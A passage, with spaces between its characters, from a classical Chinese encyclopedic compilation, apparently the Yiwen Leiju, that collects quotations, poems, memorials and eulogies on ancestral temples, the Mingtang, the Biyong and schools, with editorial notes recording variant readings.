其 道 . 故 龙 宫 弱 言 之 后 . 合 揆 于 苍 旻 . 鸟 纪 垂 衣 之 君 . 昭 格 于 上 帝 . 皇 帝 之 御 天 下 也 . 纬 天 维 . 理 地 轴 . 移 浇 风 于 末 俗 . 反 淳 正 于 区 中 . 化 不 言 而 先 显 . 教 不 言 而 已 肃 . 九 垓 同 轨 . 四 海 无 波 . 尘 清 世 晏 . 苍 兕 无 所 用 其 武 功 . 运 谧 时 雍 . 鸳 鹭 咸 并 脩 其 文 德 . 玉 门 罢 候 . 紫 塞 沉 烽 . 画 一 之 政 . 万 代 表 于 时 和 . 三 章 之 律 . 百 姓 沐 于 仁 寿 . 于 是 隆 光 之 地 . 日 浴 之 乡 . 紫 舌 黄 支 . 头 飞 鼻 饮 . 自 西 自 南 . 无 思 不 服 . 由 是 嘉 祥 被 . 众 瑞 发 . 金 人 泽 马 . 丹 甑 玉 鸡 . 三 角 九 尾 . 四 肩 六 足 . 参 差 于 郊 薮 . 布 濩 于 宫 闱 . 乃 以 恭 肃 神 祇 . 理 通 孝 敬 . 江 左 以 来 . 爽 垲 未 辟 . 爰 命 将 作 . 揆 日 载 营 . 三 灵 协 响 . 百 工 咸 事 . 宛 如 神 造 . 俨 类 仙 居 . 五 达 四 通 . 廓 郊 弥 泽 . 南 瞻 重 岳 . 北 眺 芒 岭 . 东 临 灞 浐 . 西 望 旧 丰 . 纡 余 委 蛇 . 丘 陵 起 伏 . 澎 湃 峣 屼 . 山 川 异 态 . 飞 梁 邃 宇 . 洞 烛 空 悬 . 紫 殿 仙 宫 . 霞 褰 鸟 翥 .\n【 表 】 梁 简 文 帝 上 南 郊 颂 表 曰 . 虽 周 郊 南 甸 . 宗 伯 之 官 徒 设 . 汉 兴 北 畤 . 夤 恪 之 道 未 隆 . 而 体 元 含 极 . 先 后 弗 违 . 典 盛 望 禋 . 理 通 孝 敬 . 洁 静 之 礼 载 光 . 禘 郊 之 风 斯 洽 . 昔 东 平 琅 邪 . 着 藻 炎 德 . 临 淄 中 山 . 摛 文 魏 美 .\n【 启 】 梁 元 帝 庆 南 郊 启 曰 . 大 裘 而 冕 . 陶 匏 以 质 . 黄\n钟 既 奏 . 云 门\n斯 舞 . 乐 谐 六 变 . 歌 陈 九 德 . 感 天 动 神 . 式 展 诚 敬 .\n释 名 曰 . 宗 . 尊 也 . 庙 . 貌 也 . 先 祖 形 貌 所 在 也 .\n礼 记 曰 . 天 子 七 庙 . 三 昭 三 穆 . 与 太 祖 之 庙 而 七 . 诸 侯 五 庙 . 二 昭 二 穆 . 与 太 祖 之 庙 而 五 . 大 夫 三 庙 . 一 昭 一 穆 . 与 太 祖 之 庙 而 三 . 士 一 庙 . 庶 人 祭 于 寝 . 远 庙 为 祧 . 去 祧 为 坛 . 去 坛 为 墠 . 去 墠 为 鬼 . 自 祧 以 下 皆 庙 .\n又 曰 . 凡 祭 宗 庙 之 礼 . 牛 曰 一 元 大 武 . 豕 曰 刚 鬣 . 豚 曰 腯 肥 . 羊 曰 柔 毛 . 鸡 曰 翰 音 . 犬 曰 羹 献 . 雉 曰 疏 趾 . 兔 曰 明 视 . 脯 曰 尹 祭 . 稿 鱼 曰 商 祭 . 鲜 鱼 曰 脡 祭 . 水 曰 清 涤 . 酒 曰 清 酌 . 黍 曰 芗 合 . 稷 曰 明 粢 . 稻 曰 嘉 疏 . 韭 曰 丰 本 . 盐 曰 咸 鹾 . 玉 曰 嘉 玉 . 币 曰 量 币 .\n又 曰 . 当 七 庙 五 庙 之 无 虚 主 . 唯 祫 祭 于 祖 . 为 无 主 尔 .\n又 曰 . 夏 六 月 . 以 禘 礼 祀 周 公 于 太 庙 . 尊 用 玉 豆 雕 篹 . 爵 用 玉 盏 .\n周 礼 注 . 五 岁 一 禘 . 三 岁 一 祫 .\n又 曰 . 凡 宾 客 献 瑶 爵 . 皆 赞 .\n又 曰 . 凡 灌 玉 . 濯 之 陈 之 . 以 赞 祼 事 . 注 云 . 灌 玉 . 圭 瓒 也 .\n仪 礼 曰 . 始 虞 用 柔 日 . 哀 某 敢 用 玉 ○ 仪 礼 士 虞 礼 玉 字 无 . 洁 桂 ○ 仪 礼 作 牲 . 刚 鬣 香 合 嘉 荐 .\n说 文 曰 . 宗 庙 之 木 主 . 名 曰 祏 .\n白 虎 通 曰 . 言 神 无 所 依 据 . 孝 子 以 主 继 心 .\n又 曰 . 位 尊 盛 德 . 所 及 弥 远 . 谓 之 禘 祫 何 . 禘 之 为 言 让 ○ 白 虎 通 宗 庙 篇 作 谛 . 也 . 序 昭 穆 . 禘 父 子 也 . 祫 合 也 .\n五 经 要 义 曰 . 木 主 之 状 . 四 方 . 穿 中 央 . 以 达 四 方 . 天 子 长 尺 二 寸 . 诸 侯 长 尺 . 皆 刻 谥 于 其 背 .\n挚 虞 要 诀 注 曰 . 凡 庙 之 主 . 藏 于 户 外 北 牖 下 . 有 石 函 . 故 名 宗 祏 .\n五 经 异 义 曰 . 谨 按 叔 孙 通 宗 庙 有 日 祭 之 礼 . 古 而 然 也 . 三 岁 一 祫 . 周 礼 也 . 一 禘 . 疑 先 王 礼 也 .\n论 语 曰 . 夏 后 氏 以 松 . 殷 人 以 柏 . 周 人 以 栗 . 栗 . 敬 也 . 使 人 谨 敬 也 .\n诗 曰 . 閟 宫 有 侐 . 注 云 . 閟 禘 . 禘 阳 之 盛 也 . 姜 嫄 神 所 依 . 故 曰 神 宫 .\n又 曰 . 清 庙 . 祀 文 王 也 . 周 公 既 成 洛 邑 . 率 以 祀 文 王 焉 . 清 者 言 有 清 明 之 德 .\n又 曰 . 有 壬 有 林 . 锡 尔 纯 嘏 . 纯 . 大 也 . 嘏 谓 尸 与 主 人 以 福 也 .\n汉 书 曰 . 庙 所 以 藏 主 . 则 列 昭 穆 .\n续 汉 书 曰 . 祫 . 合 也 . 毁 庙 之 主 . 合 食 于 太 祖 也 . 禘 以 四 月 . 祫 以 十 月 . 四 月 阳 气 在 上 . 阴 气 在 下 . 正 尊 卑 之 义 . 十 月 五 谷 登 . 故 骨 肉 合 聚 饮 食 .\n汉 书 ○ 初 学 记 十 三 作 旧 . 仪 曰 . 子 为 昭 . 孙 为 穆 . 昭 西 面 . 穆 东 面 . 三 年 大 祫 . 诸 帝 以 昭 穆 坐 于 高 庙 .\n又 曰 . 皇 帝 会 诸 侯 . 酎 金 以 上 计 仪 . 设 九 宾 陪 位 也 .\n国 语 曰 . 甸 服 者 祀 . 日 祭 月 祀 . 先 王 之 训 者 也 .\n张 方 楚 国 先 贤 传 曰 . 古 者 先 王 日 祭 月 享 . 时 类 岁 祀 . 诸 侯 舍 日 . 卿 大 夫 舍 月 . 士 庶 人 舍 时 .\n钟 离 意 别 传 曰 . 意 为 鲁 相 . 修 孔 子 庙 . 孔 子 堂 道 有 瓮 . 意 召 守 庙 孔 欣 问 曰 . 此 何 等 瓮 . 欣 曰 . 夫 子 瓮 背 皆 有 书 . 故 自 夫 子 亡 后 . 无 敢 发 者 . 意 乃 发 . 得 素 书 焉 .\n吴 录 地 理 志 曰 . 会 稽 有 禹 庙 . 始 皇 配 食 . 王 朗 为 太 守 . 黜 之 .\n晋 诸 公 赞 曰 . 王 浚 . 字 彭 祖 . 为 幽 州 刺 史 . 寻 洛 阳 破 . 浚 承 制 建 行 台 . 以 宗 庙 焚 毁 . 设 墠 . 望 祀 七 室 及 功 臣 配 食 者 .\n楚 辞 天 问 序 曰 . 屈 原 放 逐 . 忧 心 愁 悴 . 仿 徨 山 泽 . 经 历 陵 陆 . 仰 天 叹 息 . 楚 有 先 王 之 庙 . 及 公 卿 祠 堂 . 图 画 天 地 山 川 神 灵 . 及 古 贤 怪 物 所 行 事 . 周 流 罢 倦 . 休 息 其 下 . 仰 见 图 画 . 因 书 其 壁 . 呵 而 问 之 . 以 泄 愤 . 写 愁 思 .\n【 诗 】 梁 简 文 帝 赛 汉 高 庙 诗 ○ 按 此 及 下 庾 信 . 张 正 见 三 诗 皆 见 后 . 此 重 出 . 冯 校 本 无 . 曰 . 日 正 山 无 影 . 威 斜 汉 屡 回 . 瞻 流 如 地 望 . 昆 仑 匹 天 台 .\n庾 信 至 老 子 庙 诗 曰 . 三 门 临 苦 县 . 九 井 对 灵 溪 . 盛 丹 须 竹 节 . 量 药 用 刀 圭 .\n张 正 见 经 季 子 庙 诗 曰 . 延 州 高 让 远 . 传 芳 世 祀 移 . 地 绝 贵 金 路 . 松 悲 悬 剑 枝 . 野 藤 侵 沸 井 . 山 雨 湿 苔 碑 .\n宋 谢 瞻 经 张 子 房 庙 诗 曰 . 伊 人 咸 代 工 . 聿 来 扶 兴 王 . 婉 婉 幕 中 画 . 晖 晖 天 业 昌 . 鸿 门 消 薄 蚀 . 垓 下 陨 欃 枪 . 爵 仇 建 萧 宰 . 定 都 护 储 皇 . 肇 允 契 幽 叟 . 翻 飞 指 帝 乡 . 惠 心 奋 千 祀 . 清 埃 播 无 疆 .\n宋 郑 鲜 之 行 经 张 子 房 庙 诗 曰 . 七 雄 裂 周 纽 . 道 尽 鼎 亦 沦 . 长 风 晦 溟 . 潜 龙 动 泗 滨 . 紫 烟 翼 丹 虬 . 灵 媪 悲 素 鳞 . 宋 范 泰 经 汉 高 庙 诗 曰 . 啸 吒 英 豪 萃 . 指 撝 五 岳 分 . 乘 彼 道 消 势 . 遂 廓 宇 宙 氛 . 重 瞳 岂 不 伟 . 奋 臂 腾 群 雄 . 壮 力 拔 高 山 . 猛 气 烈 迅 风 . 恃 勇 终 必 挠 . 道 胜 业 自 隆 .\n齐 谢 朓 赛 敬 亭 庙 喜 雨 诗 曰 . 执 玉 朝 群 帝 . 樽 桂 迎 东 皇 . 排 云 接 孔 ○ 本 集 作 虬 . 盖 . 蔽 日 下 霓 裳 . 会 舞 纷 瑶 席 . 安 歌 绕 凤 梁 . 百 味 芬 绮 帐 . 四 望 沾 羽 觞 .\n梁 简 文 帝 和 萧 东 阳 祀 七 里 庙 诗 曰 . 万 里 实 幽 宗 . 三 神 亦 天 构 . 岂 谓 木 石 精 . 斯 乃 山 川 守 . 远 来 太 白 旗 . 遥 征 青 鸟 候 . 以 兹 弗 敬 怠 . 方 知 教 应 否 .\n又 汉 高 庙 赛 神 诗 曰 . 玉 轪 朝 行 动 . 阊 阖 旦 应 开 . 白 云 苍 梧 上 . 丹 霞 咸 阳 来 . 日 正 山 无 影 . 城 斜 汉 屡 回 . 瞻 流 如 地 脉 . 望 岭 匹 天 台 . 欲 袪 九 秋 恨 . 聊 举 十 千 杯 .\n梁 元 帝 祀 伍 ○ 原 作 五 . 据 冯 校 本 改 . 相 庙 诗 曰 . 石 城 宁 足 拒 . 金 阵 讵 能 追 . 楚 关 开 六 塞 . 吴 兵 入 九 围 . 山 水 犹 萦 带 . 城 池 失 是 非 . 空 余 寿 宫 在 . 日 暮 舞 灵 衣 .\n梁 庾 肩 吾 汉 高 庙 诗 曰 . 昔 作 唐 山 曲 . 今 承 紫 贝 坛 . 宁 知 临 楚 岸 . 非 复 望 长 安 . 尘 飞 远 骑 没 . 日 徙 半 峰 寒 .\n又 乱 后 经 夏 禹 庙 诗 曰 . 金 简 泥 初 发 . 龙 门 凿 始 通 . 配 天 不 失 旧 . 为 鱼 微 此 功 . 林 堂 上 偃 蹇 . 山 殿 下 穹 隆 . 侵 云 似 天 阙 . 照 水 类 河 宫 . 神 来 导 赤 豹 . 仙 去 拥 飞 鸿 . 松 龛 撤 暮 俎 . 枣 径 落 寒 丛 . 仙 舟 还 入 镜 . 玉 轴 更 乘 空 . 去 国 嗟 行 迈 . 离 居 泣 转 蓬 . 月 起 吴 山 北 . 星 临 天 汉 中 . 申 胥 犹 有 志 . 荀 息 本 怀 忠 . 待 见 欃 枪 灭 . 归 来 松 柏 桐 .\n周 庾 信 至 老 子 庙 诗 曰 . 三 门 临 苦 县 . 九 井 对 灵 溪 . 盛 丹 须 竹 节 . 量 药 用 刀 圭 . 行 当 别 关 吏 . 直 向 流 沙 西 .\n又 西 门 豹 庙 诗 曰 . 君 子 为 利 博 . 达 人 树 德 深 . 苹 藻 由 斯 荐 . 樵 苏 幸 未 侵 . 恭 闻 正 直 祀 . 良 识 佩 韦 心 . 容 范 虽 年 代 . 徽 猷 若 可 寻 . 菊 花 随 酒 馥 . 槐 影 向 窗 临 . 鹤 飞 疑 逐 舞 . 鱼 惊 似 听 琴 . 漳 流 鸣 磴 石 . 铜 爵 影 秋 林 .\n陈 阳 慎 从 驾 祀 麓 山 庙 诗 曰 . 圣 德 忧 民 暇 . 麾 旆 谒 山 灵 . 画 航 泛 北 渚 . 文 马 侍 东 平 . 春 浦 戊 诞 照 . 寒 林 铙 吹 鸣 . 依 俙 长 安 驿 . 萧 条 都 尉 城 . 井 泉 能 共 动 . 江 帆 得 分 行 . 窗 幽 细 网 合 . 阶 静 落 花 明 . 檐 巢 始 入 鷰 . 轩 树 已 迁 鹦 . 菲 菲 兰 俎 馥 . 淡 淡 桂 樽 清 . 银 堂 日 影 尽 . 玉 座 舞 衣 轻 .\n陈 张 正 见 行 经 季 子 庙 诗 曰 . 延 州 高 让 远 . 传 芳 世 祀 移 . 地 绝 遗 金 路 . 松 悲 悬 剑 枝 . 野 藤 侵 沸 井 . 山 雨 湿 苔 碑 . 别 有 观 风 处 . 乐 奏 无 人 知 .\n隋 江 总 卞 山 楚 庙 诗 曰 . 苹 藻 祈 明 德 . 倚 桌 息 岩 阿 . 忽 听 鸟 鸣 曙 . 非 复 楚 宫 歌 . 闲 阶 薙 宿 荠 . 古 木 断 悬 萝 . 帷 堂 寂 易 晚 . 桴 鼓 自 相 和 . 威 祀 流 百 世 . 英 威 言 几 何 .\n又 摄 官 梁 小 庙 诗 曰 . 畴 昔 游 衣 所 . 今 日 荐 樱 时 . 宪 章 诚 有 革 . 岁 月 遂 难 思 . 故 人 独 之 子 . 官 联 更 在 兹 . 虚 檐 静 暮 雀 . 洞 户 映 光 丝 . 平 生 复 能 几 . 语 事 必 伤 悲 .\n【 颂 】 魏 陈 王 曹 植 孔 子 庙 颂 曰 . 修 复 旧 庙 . 丰 其 甍 宇 . 莘 莘 学 徒 . 爰 居 爰 处 . 王 教 既 备 . 群 小 遄 沮 . 鲁 道 以 兴 . 永 作 宪 矩 . 洪 声 登 遐 . 神 祇 来 祜 . 休 征 杂 沓 . 瑞 我 邦 家 . 内 光 区 域 . 外 被 荒 遐 .\n【 文 】 宋 谢 惠 连 祭 禹 庙 文 曰 . 谨 遣 左 曹 掾 . 奉 水 土 之 羞 . 敬 荐 夏 帝 之 灵 . 咨 圣 继 天 . 载 诞 英 徽 . 克 明 克 哲 . 知 章 知 微 . 运 此 宏 谟 . 恤 彼 民 忧 . 身 劳 五 岳 . 形 疲 九 州 . 呱 呱 弗 顾 . 虔 虔 是 钦 . 物 贵 尺 璧 . 我 重 寸 阴 . 乃 锡 玄 圭 . 以 告 成 功 . 虞 数 既 改 . 夏 德 乃 隆 . 临 朝 总 政 . 巡 国 观 风 . 淹 留 稽 岭 . 乃 徂 行 宫 . 恭 司 皇 役 . 敬 属 晖 融 . 神 且 略 荐 . 乃 昭 其 忠 .\n梁 王 僧 孺 武 帝 祭 禹 庙 文 曰 . 惟 帝 禀 图 上 昊 . 贻 则 下 民\n. 五 声 穷 听 . 四 乘 兼 往 . 轻 璧 惜 景 . 既 舍 冠 履 . 爱 人 忘\n我 . 不 顾 胼 胝 . 下 车 以 泣 . 事 深 罪 己 . 凭 舟 靡 惧 . 义 存\n拯 物 . 盛 业 方 来 . 遗 神 如 在 . 爱 被 昆 虫 . 理 有 好 生 之 德\n. 事 安 菲 素 . 固 无 厚 味 之 求 . 是 用 黍 稷 非 馨 . 苹 蘩 以 荐\n. 克 诚 斯 飨 . 凭 心 可 答 .\n大 戴 礼 曰 . 明 堂 者 . 凡 九 室 . 一 室 而 有 四 户 八 牖 . 以 茅 盖 屋 . 上 圆 下 方 . 所 以 明 诸 侯 尊 卑 也 . 外 水 名 曰 辟 雍 . 总 三 十 六 户 . 七 十 二 牖 .\n周 礼 曰 . 夏 后 氏 大 室 . 殷 人 重 屋 . 周 人 明 堂 . 度 有 九 尺 之 筵 .\n周 书 曰 . 明 堂 方 一 百 一 十 二 尺 . 室 中 方 六 十 尺 . 牖 高 三 尺 . 门 方 十 六 尺 . 东 方 曰 青 阳 . 南 方 曰 明 堂 . 西 方 曰 总 章 . 北 方 曰 玄 堂 . 中 央 曰 太 庙 . 左 为 左 . 右 为 右 . 五 经 要 义 . 以 大 室 经 为 太 室 . ○ 初 学 记 十 三 作 以 太 庙 为 太 室 . 此 有 讹 衍 .\n孝 经 援 神 契 曰 . 明 堂 者 . 天 子 布 政 之 宫 . 上 圆 下 方 . 八 窗 四 达 . 在 国 之 阳 .\n桓 谭 新 论 曰 . 王 者 造 明 堂 . 上 圆 下 方 . 以 象 天 地 . 为 四 方 堂 . 各 从 其 色 . 以 郊 四 方 . 天 称 明 . 故 命 曰 明 堂 .\n黄 图 曰 . 明 堂 者 . 明 天 地 之 堂 也 . 所 以 顺 四 时 . 行 月 令 . 宗 祀 先 王 . 祭 五 帝 . 故 谓 之 明 堂 . 辟 雍 圆 如 璧 . 雍 所 以 异 水 名 同 事 . ○ 初 学 记 十 三 作 雍 以 水 . 异 名 同 事 . 此 有 衍 倒 . 其 实 一 也 .\n礼 记 曰 . 昔 者 周 公 朝 诸 侯 于 明 堂 之 位 . 天 子 负 斧 扆 . 南 向 而 立 .\n三 礼 图 曰 . 明 堂 者 . 周 制 五 室 . 东 为 木 室 . 南 火 . 西 金 . 北 水 . 土 在 其 中 . 秦 为 九 室 . 十 二 室 ○ 太 平 御 览 五 百 三 十 三 室 字 无 . 阶 . 各 有 所 居 .\n尸 子 曰 . 黄 帝 曰 合 宫 . 有 虞 曰 总 章 . 殷 人 曰 阳 馆 . 周 人 曰 明 堂 .\n管 子 曰 . 黄 帝 立 明 堂 之 议 . 舜 有 告 善 之 旌 . 汤 有 总 街 之 匡 . 武 王 有 灵 台 之 候 .\n蔡 邕 月 令 论 曰 . 明 堂 者 . 天 子 太 庙 也 . 所 以 宗 祀 而 配 上 帝 . 明 天 气 . 统 万 物 也 .\n徐 虔 明 堂 议 曰 . 明 堂 在 国 之 阳 . 国 门 外 . 一 堂 五 室 . 四 门 八 阶 .\n许 慎 五 经 异 义 曰 . 明 堂 在 国 之 阳 . 七 里 之 内 . 八 窗 四 闼 . 以 ○ 太 平 御 览 五 百 三 十 三 作 已 . 地 . 就 阳 位 也 .\n五 经 释 例 曰 . 告 朔 行 正 . 谓 之 明 堂 . 蔡 邕 礼 乐 志 曰 . 孝 武 封 岱 宗 . 立 明 堂 于 太 山 汶 上 .\n礼 论 曰 . 或 以 明 堂 者 文 王 庙 . 周 时 往 合 和 . ○ 三 字 初 学 记 十 三 . 太 平 御 览 五 百 三 十 三 作 德 泽 和 洽 . 此 有 讹 脱 . 蒿 茂 大 . 以 为 宫 社 . ○ 初 学 记 . 御 览 作 柱 . 此 讹 . 名 为 蒿 宫 .\n礼 含 文 嘉 曰 . 明 堂 所 以 通 神 灵 . 感 天 地 . 正 四 时 . 出 教 化 . 崇 有 德 . 章 有 道 也 .\n白 虎 通 曰 . 礼 三 老 于 明 堂 . 所 以 教 诸 侯 孝 . 礼 五 更 于 太 学 . 所 以 教 诸 侯 悌 .\n淮 南 子 曰 . 古 者 明 堂 之 制 . 下 之 润 湿 . 不 能 及 也 . 上 之 雾 露 . 不 能 入 也 . 所 以 飨 上 帝 . 礼 鬼 神 . 示 人 知 节 也 .\n家 语 曰 . 孔 子 观 乎 明 堂 . 睹 四 门 之 牖 . 有 尧 舜 桀 纣 之 像 . 而 各 有 善 恶 之 状 . 兴 废 之 戒 焉 .\n又 曰 . 周 公 相 成 王 . 抱 之 而 负 斧 扆 . 南 面 以 朝 诸 侯 之 国 焉 .\n吴 越 春 秋 曰 . 越 王 召 范 蠡 而 问 . 孤 窃 自 欲 以 今 日 一 登 上 明 堂 . 布 恩 致 令 . 以 抚 百 姓 也 .\n汉 书 曰 . 上 欲 治 明 堂 . 未 晓 其 制 度 . 济 南 人 公 玉 带 上 黄 帝 时 明 堂 图 . 图 中 有 一 殿 . 四 面 无 壁 . 以 茅 盖 屋 . 屋 通 水 . 水 圜 宫 恒 . ○ 太 平 御 览 五 百 三 十 三 作 垣 . 为 复 道 . 上 有 楼 . 从 西 面 入 . 名 曰 昆 仑 . 天 子 从 之 .\n又 曰 . 元 始 五 年 正 月 . 祫 祭 明 堂 . 诸 侯 王 列 侯 宗 室 子 九 百 余 人 助 祭 . 毕 . 皆 益 户 赐 爵 及 金 帛 .\n东 观 汉 记 曰 . 元 年 营 造 明 堂 辟 雍 灵 台 . 以 即 明 三 事 不 同 也 . 前 黄 图 云 . 同 一 物 也 .\n【 诗 】 梁 元 帝 和 刘 尚 书 兼 明 堂 斋 宫 诗 曰 . 质 明 摄 上 宰 . 诘 旦 乘 轺 轩 . 四 圭 邸 苍 玉 . 六 变 舞 云 门 . 香 浮 郁 金 酒 . 烟 绕 凤 皇 樽 . 新 花 临 御 陌 . 春 色 起 天 园 . 河 闲 献 乐 语 . 斯 道 媿 能 论 .\n【 铭 】 后 汉 李 尤 明 堂 铭 曰 . 布 政 之 室 . 上 圆 下 方 . 体\n则 天 地 . 在 国 正 阳 . 窗 闼 四 设 流 水 洋 洋 . 顺 节 行 化 . 各\n居 其 房 . 春 恤 幼 孤 . 夏 进 贤 良 . 秋 厉 武 人 . 冬 谨 关 梁 .\n五 经 通 义 曰 . 天 子 立 辟 雍 者 何 . 所 以 行 礼 乐 . 宣 德 化 . 教 导 天 下 之 人 . 使 为 士 君 子 . 养 三 老 . 事 五 更 . 与 诸 侯 行 礼 之 处 也 .\n又 曰 . 诸 侯 不 得 观 四 方 . 故 缺 东 以 南 . 半 天 子 之 学 . 故 曰 頖 宫 .\n礼 记 曰 . 天 子 辟 雍 . 诸 侯 曰 頖 宫 .\n白 虎 通 曰 . 天 子 立 辟 雍 . 行 礼 乐 . 宣 德 化 . 辟 者 象 璧 . 圆 法 天 . 雍 之 以 水 . 象 教 化 流 行 .\n桓 谭 新 论 曰 . 王 者 作 圆 池 . 如 璧 形 . 实 水 其 中 . 以 圜 壅 之 . 名 曰 辟 雍 . 言 其 上 承 天 地 . 以 班 教 令 . 流 转 王 道 . 周 而 复 始 .\n续 汉 书 曰 . 明 帝 永 平 二 年 . 上 始 率 群 臣 . 躬 养 三 老 五 更 于 辟 雍 . 行 大 射 之 礼 .\n魏 志 曰 . 明 帝 甘 露 二 年 . 幸 辟 雍 . 命 群 臣 令 赋 诗 .\n【 赋 】 后 汉 李 尤 辟 雍 赋 曰 . 辟 雍 岩 岩 . 规 矩 圆 方 . 阶 序 牖 闼 . 双 观 四 张 . 流 水 汤 汤 . 造 舟 为 梁 . 神 圣 班 德 . 由 斯 以 匡 . 王 公 群 后 . 卿 士 具 集 . 攒 罗 鳞 次 . 差 池 杂 遝 . 延 忠 信 之 纯 一 兮 . 列 左 右 之 貂 珰 . 三 后 八 蕃 . 师 尹 群 卿 . 加 休 庆 德 . 称 寿 上 觞 . 戴 甫 垂 毕 . 其 仪 跄 跄 . 是 以 干 坤 所 周 . 八 极 所 要 . 夷 戎 蛮 羌 . 儋 耳 哀 牢 . 重 译 响 应 . 抱 珍 来 朝 . 南 金 大 路 . 玉 象 犀 龟 .\n晋 傅 玄 辟 雍 乡 饮 酒 赋 曰 . 时 皇 帝 亲 枉 万 乘 之 尊 号 . 以 幸 乎 辟 雍 . 卤 簿 齐 列 . 官 正 其 容 . 乃 延 卿 士 . 乃 命 王 公 . 定 小 会 之 常 仪 兮 . 飨 殊 俗 而 见 远 邦 . 揖 让 而 升 . 有 主 有 宾 . 礼 虽 旧 制 . 其 教 惟 新 . 若 其 俎 豆 有 数 . 威 仪 翼 翼 . 宾 主 百 拜 . 贵 贱 修 . 酒 清 而 不 饮 . 肴 干 而 不 食 . 及 至 嘒 嘒 笙 磬 . 喤 喤 钟 鼓 . 琴 瑟 安 歌 . 德 音 有 叙 . 乐 而 不 淫 . 好 朴 尚 古 . 四 坐 先 迷 而 后 悟 . 然 后 知 礼 教 之 弘 普 也 .\n【 颂 】 陈 徐 陵 皇 太 子 临 辟 雍 颂 曰 . 臣 闻 天 大 王 大 . 详\n于 道 德 之 言 . 天 文 人 文 . 显 于 爻 象 之 说 . 是 以 大 君 革 命\n. 黔 首 所 以 庇 焉 . 圣 人 创 物 . 文 籍 所 以 生 焉 . 咸 由 此 道\n. 制 为 民 极 . 莫 不 对 越 上 灵 . 裁 成 庶 类 . 济 世 育 德 . 昭\n被 昆 虫 . 皇 帝 世 膺 下 武 . 体 资 上 德 . 握 天 镜 而 授 河 图 .\n执 玉 衡 而 运 干 象 . 皇 太 子 耀 彼 重 离 . 光 兹 匕 鬯 . 仪 天 以\n行 三 善 . 俪 极 以 照 四 方 . 惟 忠 惟 孝 . 自 家 刑 国 . 乃 武 乃\n文 . 化 成 天 下 . 侍 中 国 子 祭 酒 新 安 王 . 宗 室 羽 仪 . 衣 冠\n准 的 . 惟 善 为 乐 . 造 次 必 儒 . 粤 以 十 一 年 三 月 二 十 一 日\n. 受 诏 弘 宣 . 发 论 语 题 . 摄 齐 升 堂 . 抠 衣 即 席 . 对 扬 天\n人 . 开 辟 大 训 . 清 言 既 吐 . 精 义 入 神 . 副 德 爰 动 . 音 ○\n本 集 音 下 有 辞 字 . 锋 起 . 问 难 泉 涌 . 辩 论 纶 之 异 .\n定 伦 理 之 疑 . 玉 振 锵 锵 . 云 浮 雨 布 . 介 王 奉 系 圣 踪 . 驰\n辩 秀 出 . 信 令 张 禹 惭 其 师 法 . 何 晏 忸 其 训 诂 . 穆 穆 焉 .\n洋 洋 焉 . 此 实 虞 朝 之 盛 德 . 生 民 之 壮 观 者 也 . 臣 抑 又 闻\n之 . 鲁 颂 聿 兴 . 史 克 宣 其 懿 . 晋 雍 大 启 . 王 廙 逞 其 词 .\n所 以 述 休 平 之 风 . 扬 君 上 之 德 . 轻 以 下 才 . 敢 为 颂 曰 .\n皇 运 勃 启 . 膺 图 受 命 . 紫 盖 东 临 . 黄 旌 南 映 . 积 仁 累 德\n. 重 明 叠 圣 . 四 海 无 浪 . 三 阶 已 平 . 储 驾 戾 止 . 和 鸾 有\n声 . 弘 风 讲 肆 . 崇 儒 肃 成 . 丹 书 贵 道 . 黄 金 贱 籯 . 洙 泗\n兴 业 . 阙 里 增 荣 .\n五 经 通 义 曰 . 三 王 教 化 之 宫 . 总 名 为 学 .\n礼 记 曰 . 古 之 教 者 . 家 有 塾 . 党 有 庠 . 术 有 序 . 国 有 学 .\n周 官 曰 . 师 氏 以 三 德 教 国 子 . 一 曰 至 德 . 以 为 道 本 . 二 曰 敏 德 . 以 为 行 本 . 三 曰 孝 德 . 以 知 ○ 原 缺 . 据 冯 校 本 补 . 恶 逆 .\n尚 书 大 传 曰 . 稷 ○ 太 平 御 览 五 百 三 十 四 作 耰 . 锄 已 藏 . 岁 事 欲 毕 . 余 子 皆 学 . 十 ○ 御 览 十 下 有 五 字 . 始 入 小 学 . 见 小 节 . 践 小 义 . 十 八 始 入 大 学 . 见 大 节 . 践 大 义 .\n汉 书 曰 . 三 代 之 道 . 乡 里 有 教 . 夏 曰 校 . 殷 曰 庠 . 周 曰 序 .\n三 辅 旧 事 曰 . 汉 太 子 ○ 太 平 御 览 五 百 三 十 四 作 学 . 在 长 安 门 东 书 杜 ○ 御 览 作 社 . 门 . 五 经 博 士 员 弟 子 万 余 人 .\n黄 图 曰 . 礼 . 小 学 在 公 宫 之 南 . 太 学 在 东 . 就 阳 位 也 . 去 城 七 里 . 东 为 常 满 仓 . 食 之 北 为 槐 市 . 列 槐 树 数 百 行 . 为 隧 . 无 墙 屋 . 诸 生 朔 望 会 此 市 . 各 持 其 群 ○ 御 览 五 百 三 十 四 作 郡 . 所 出 货 物 . 及 经 传 书 记 . 笙 磬 乐 器 . 相 与 买 卖 . 雍 雍 揖 让 . 论 义 槐 下 .\n东 观 汉 记 曰 . 光 武 五 年 . 初 起 太 学 . 诸 生 吏 子 弟 及 民 . 以 义 助 作 . 上 自 齐 归 . 幸 太 学 . 赐 博 士 弟 子 .\n续 汉 书 曰 . 明 帝 永 平 二 年 . 上 始 帅 群 臣 . 养 三 老 于 辟 雍 . 郡 国 县 道 . 行 饮 酒 礼 于 学 校 .\n魏 名 臣 奏 曰 . 蒋 济 奏 . 学 者 不 恭 肃 . 慢 师 酗 酒 好 讼 . 罚 饮 水 三 升 .\n晋 诸 公 赞 曰 . 惠 帝 时 . 裴 頠 为 国 子 祭 酒 . 奏 立 国 子 太 学 . 起 讲 堂 . 筑 门 阙 . 刻 石 写 经 .\n任 豫 益 州 记 曰 . 文 翁 学 堂 . 在 大 城 南 . 经 火 灾 . 蜀 郡 太 守 高 眹 . 修 复 缮 立 . 图 画 圣 贤 古 人 像 . 及 礼 器 瑞 物 .\n【 颂 】 后 汉 崔 瑗 南 阳 文 学 颂 曰 . 昔 圣 人 制 礼 乐 也 . 将 以 统 天 理 物 . 经 国 序 民 . 立 均 出 度 . 因 其 利 而 利 之 . 俾 不 失 其 性 也 . 故 观 礼 则 体 敬 . 听 乐 则 心 和 . 然 后 知 反 其 性 . 而 正 其 身 焉 . 取 律 于 天 以 和 声 . 采 言 于 圣 以 成 谋 . 以 和 邦 国 . 以 谐 万 民 . 以 序 宾 旅 . 以 悦 远 人 . 其 观 威 仪 . 省 祸 福 也 . 出 言 视 听 . 于 是 乎 取 之 . 民 生 如 何 . 导 以 礼 乐 . 乃 修 礼 官 . 奋 其 羽 籥 . 我 国 既 淳 . 我 俗 既 敦 . 神 乐 民 则 . 嘉 生 乃 繁 . 无 言 不 酬 . 其 